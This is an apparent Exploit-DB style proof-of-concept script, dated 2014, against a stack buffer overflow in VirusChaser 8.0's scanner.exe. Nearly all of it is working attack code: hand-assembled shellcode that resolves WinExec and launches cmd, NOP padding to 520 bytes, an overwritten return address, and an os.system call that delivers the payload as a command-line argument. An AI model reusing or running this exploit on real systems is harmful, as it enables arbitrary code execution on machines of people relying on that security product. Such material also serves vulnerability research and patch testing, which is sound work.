VirusChaser 8.0 - Stack Buffer Overflow

# Exploit Title: VirusChaser 8.0 - Stack Buffer Overflow

# Date: 2014/03/26

# Exploit Author: wh1ant

# Vendor Homepage: https://www.viruschaser.com/

# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip

# Version: 8.0

# Tested on: Windows 7 ultimate K

#

# You must have administrator permission to run

from struct import pack

import os

shellcode = "\x66\x83\xc4\x10" # add esp, 0x10

shellcode += "\xb8\x50\x70\x50\x50" # mov eax, 0x50507050

shellcode += "\xb9\x4e\x7d\x04\x27" # mov ecx, 0x27047d4e

shellcode += "\x03\xc1" # add eax, ecx ; WinExec() address

shellcode += "\x68\x63\x6d\x64\x01" # push 0x01646D63

shellcode += "\x66\xb9\x50\x50" # add cx, 0x5050

shellcode += "\x66\x81\xc1\xb0\xaf" # add cx, 0xafb0

shellcode += "\x88\x4c\x24\x03" # mov [esp+3], cl

shellcode += "\x8b\xd4" # mov edx, esp

shellcode += "\x66\x51" # push cx

shellcode += "\x41" # inc cx

shellcode += "\x66\x51" # push cx

shellcode += "\x52" # push edx

shellcode += "\x50" # push eax

shellcode += "\xc3\x90" # retn ; WinExec()

# BOF retn: 0x0040753d

pay = shellcode

pay = pay.rjust(520, "\x90")

pay += "\x9c\xdb\x12"

os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"")